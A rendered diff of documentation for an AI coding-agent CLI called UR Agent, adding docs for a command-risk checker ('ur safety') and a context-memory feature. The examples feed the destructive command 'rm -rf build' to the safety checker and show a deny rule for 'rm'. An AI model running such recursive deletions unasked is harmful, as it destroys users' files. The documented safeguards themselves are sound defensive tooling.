|
47
47
|
<h1>UR Agent Documentation</h1>
|
|
48
48
|
<p class="lead">A practical, tutorial-style reference for installing, configuring, automating, extending, and operating UR Agent.</p>
|
|
49
49
|
</div>
|
|
@@ -80,6 +80,10 @@
|
|
|
80
80
|
<strong>Test-first execution</strong>
|
|
81
81
|
<span><code>ur test-first</code> detects compile/test/lint commands, stores failure traces, and installs edit-time verifier gates.</span>
|
|
82
82
|
</article>
|
|
83
|
+
<article>
|
|
84
|
+
<strong>Safety and context</strong>
|
|
85
|
+
<span><code>ur safety</code> evaluates command risk. <code>ur context-pack</code> writes architecture context and task memory.</span>
|
|
86
|
+
</article>
|
|
83
87
|
<article>
|
|
84
88
|
<strong>Release checks</strong>
|
|
85
89
|
<span>Typecheck, tests, bundle verification, smoke, package checks, and secret scan are part of the release path.</span>
|
|
@@ -146,11 +150,11 @@ ur -p --output-format json "Review the current diff"</code></pre>
|
|
|
146
150
|
</article>
|
|
147
151
|
<article>
|
|
148
152
|
<h3>Project context</h3>
|
|
149
|
-
<p><code>UR.md</code>, <code>AGENTS.md</code>, <code>.ur/agents</code>, <code>.ur/workflows</code>, memory, knowledge, and settings shape behavior.</p>
|
|
153
|
+
<p><code>UR.md</code>, <code>AGENTS.md</code>, <code>.ur/agents</code>, <code>.ur/workflows</code>, <code>.ur/project-manifest.json</code>, memory, knowledge, and settings shape behavior.</p>
|
|
150
154
|
</article>
|
|
151
155
|
<article>
|
|
152
156
|
<h3>Permission boundary</h3>
|
|
153
|
-
<p>Tool access is controlled by permission mode, allowed/disallowed tools, sandbox settings, and user approval.</p>
|
|
157
|
+
<p>Tool access is controlled by permission mode, project safety policy, allowed/disallowed tools, sandbox settings, and user approval.</p>
|
|
154
158
|
</article>
|
|
155
159
|
<article>
|
|
156
160
|
<h3>Agent orchestration</h3>
|
|
@@ -232,6 +236,20 @@ ur test-first --dry-run
|
|
|
232
236
|
ur test-first install</code></pre>
|
|
233
237
|
</article>
|
|
234
238
|
|
|
239
|
+
<article>
|
|
240
|
+
<h3>Preview command safety and pack context</h3>
|
|
241
|
+
<ol>
|
|
242
|
+
<li>Inspect the active safety policy.</li>
|
|
243
|
+
<li>Preview risky command behavior before adding it to scripts or automations.</li>
|
|
244
|
+
<li>Write architecture context and record task decisions.</li>
|
|
245
|
+
</ol>
|
|
246
|
+
<pre><code>ur safety status
|
|
247
|
+
ur safety check --command "rm -rf build"
|
|
248
|
+
ur context-pack scan
|
|
249
|
+
ur context-pack remember --decision "Use manifest commands first"
|
|
250
|
+
ur context-pack compress</code></pre>
|
|
251
|
+
</article>
|
|
252
|
+
|
|
235
253
|
<article>
|
|
236
254
|
<h3>Use a multi-agent pattern</h3>
|
|
237
255
|
<ol>
|
|
@@ -386,8 +404,16 @@ ur --model qwen2.5-coder:latest</code></pre>
|
|
|
386
404
|
<h3>Permissions</h3>
|
|
387
405
|
<pre><code>ur -p --allowed-tools "Read,Edit,Bash(git:*)" \
|
|
388
406
|
--disallowed-tools "Bash(rm:*)" \
|
|
389
|
-
"Review the current diff"
|
|
390
|
-
|
|
407
|
+
"Review the current diff"
|
|
408
|
+
ur safety check --command "rm -rf build"</code></pre>
|
|
409
|
+
<p>Use explicit tool boundaries for automation. Preview risky commands with <code>ur safety</code>. Reserve <code>--dangerously-skip-permissions</code> for disposable sandboxes.</p>
|
|
410
|
+
</article>
|
|
411
|
+
<article>
|
|
412
|
+
<h3>Project context</h3>
|
|
413
|
+
<pre><code>ur context-pack scan
|
|
414
|
+
ur context-pack remember --constraint "Run command evidence before success claims"
|
|
415
|
+
ur context-pack compress</code></pre>
|
|
416
|
+
<p>Context packs summarize architecture from manifests and preserve task decisions, constraints, commands, and diffs under <code>.ur/context</code>.</p>
|
|
391
417
|
</article>
|
|
392
418
|
<article>
|
|
393
419
|
<h3>Verifier</h3>
|
|
@@ -463,7 +489,7 @@ ur claim-ledger validate</code></pre>
|
|
|
463
489
|
<article>
|
|
464
490
|
<h3>New agent-platform command is missing</h3>
|
|
465
491
|
<pre><code>ur --version
|
|
466
|
-
ur --help | grep -E "repo-edit|test-first|spec|arena|escalate|ci-loop|artifacts"
|
|
492
|
+
ur --help | grep -E "repo-edit|test-first|safety|context-pack|spec|arena|escalate|ci-loop|artifacts"
|
|
467
493
|
npm install -g ur-agent@latest --registry=https://registry.npmjs.org/
|
|
468
494
|
hash -r</code></pre>
|
|
469
495
|
</article>
|
|
@@ -48,6 +48,17 @@ ur test-first --dry-run
|
|
|
48
48
|
ur test-first install
|
|
49
49
|
```
|
|
50
50
|
|
|
51
|
+
Preview command safety and preserve project context:
|
|
52
|
+
|
|
53
|
+
```sh
|
|
54
|
+
ur safety status
|
|
55
|
+
ur safety check --command "rm -rf build"
|
|
56
|
+
ur context-pack scan
|
|
57
|
+
ur context-pack remember --decision "Use package scripts before ad hoc commands"
|
|
58
|
+
ur context-pack remember --constraint "Never expose secret values"
|
|
59
|
+
ur context-pack compress
|
|
60
|
+
```
|
|
61
|
+
|
|
51
62
|
Use the local memory, evidence, and browser QA helpers:
|
|
52
63
|
|
|
53
64
|
```sh
|
package/examples/agent_trends.md
CHANGED
|
@@ -5,5 +5,9 @@
|
|
|
5
5
|
- Run `ur a2a card` to print UR's Agent Card metadata for A2A discovery.
|
|
6
6
|
- Run `ur test-first --dry-run` to preview the detected compile/test/lint
|
|
7
7
|
evidence loop for the current project.
|
|
8
|
+
- Run `ur safety check --command "rm -rf build"` to preview command permission
|
|
9
|
+
class, destructive approval, and sandbox posture.
|
|
10
|
+
- Run `ur context-pack scan` and `ur context-pack compress` to preserve
|
|
11
|
+
manifest-derived architecture context and task memory.
|
|
8
12
|
- Use `/agent-trends` inside a session before planning upgrades to local
|
|
9
13
|
runtime, MCP, A2A, memory, browser, eval, identity, or provenance workflows.
|
package/examples/coding_task.md
CHANGED
|
@@ -12,6 +12,11 @@ UR plans, reads files, edits, and can run tests. Safety + stability:
|
|
|
12
12
|
- Stack-aware quality loops can use `ur test-first`: detect compile/test/lint
|
|
13
13
|
commands, store failed command traces, and install the same commands as
|
|
14
14
|
after-edit verifier gates.
|
|
15
|
+
- Risky commands can be previewed with `ur safety`: classify read/write/execute
|
|
16
|
+
and network permission, require approval for destructive operations, and
|
|
17
|
+
block common secret exfiltration paths.
|
|
18
|
+
- Architecture context can be preserved with `ur context-pack`: scan manifests,
|
|
19
|
+
record decisions/constraints/commands/diffs, and compress old context.
|
|
15
20
|
- Edits are diffable: `/diff` shows uncommitted changes; `/rewind` rolls back.
|
|
16
21
|
- Every tool call is recorded to `.ur/actions.jsonl` — see `/actions`, `/evidence`.
|
|
17
22
|
- `/stability metrics` and `/stability firewall` surface oscillation, repeated
|
|
@@ -26,4 +31,8 @@ ur repo-edit apply rename oldName --to newName --check "bun test"
|
|
|
26
31
|
ur test-first detect
|
|
27
32
|
ur test-first --dry-run
|
|
28
33
|
ur test-first install
|
|
34
|
+
ur safety check --command "rm -rf build"
|
|
35
|
+
ur context-pack scan
|
|
36
|
+
ur context-pack remember --diff "Added the health route and tests"
|
|
37
|
+
ur context-pack compress
|
|
29
38
|
```
|
package/examples/memory.md
CHANGED
|
@@ -5,5 +5,11 @@
|
|
|
5
5
|
- Project conventions live in project instruction files and the project DNA file.
|
|
6
6
|
- `/dna` detects language, package manager, build/test/lint/run commands,
|
|
7
7
|
ignored folders, and README, saved to `.ur/project_dna.md`.
|
|
8
|
+
- `ur context-pack scan` writes `.ur/project-manifest.json` and
|
|
9
|
+
`.ur/context/architecture.md` from package scripts, instruction files,
|
|
10
|
+
`.ur/verify.json`, and safety config.
|
|
11
|
+
- `ur context-pack remember --decision|--constraint|--command|--diff|--note`
|
|
12
|
+
appends durable task memory to `.ur/context/task-memory.jsonl`; `compress`
|
|
13
|
+
writes `.ur/context/compressed.md`.
|
|
8
14
|
- `/ur-init` scaffolds the `.ur/` asset folder (docs, superpowers, brainstorming,
|
|
9
15
|
memory, prompts).
|